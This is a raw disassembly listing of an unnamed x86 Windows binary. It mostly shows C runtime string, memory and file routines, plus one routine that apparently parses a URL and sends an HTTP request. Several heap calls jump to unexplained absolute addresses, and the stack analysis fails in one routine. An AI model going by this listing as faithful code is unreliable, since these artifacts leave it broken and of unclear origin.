		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43F9F0
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43FB24
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4D0720
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4D07D4
		call	dword_4D07F8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4D07EC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4D0798
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43FB08
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43FACC
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43FAB0
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43FA84
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43FA54

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4D0858
		push	[ebp+var_4]
		call	dword_4D0858
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4E21C8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4E21C4
		call	near ptr 27B060Ah
		nop

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4E21C8
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4E21C0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4E21C4
		call	near ptr 2870000h
		nop
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4E0BAC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_441BA4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 2870000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4E0BAC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 2870000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4E0BAC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4E0BAC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4E21C8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4E21C0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_441BA4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

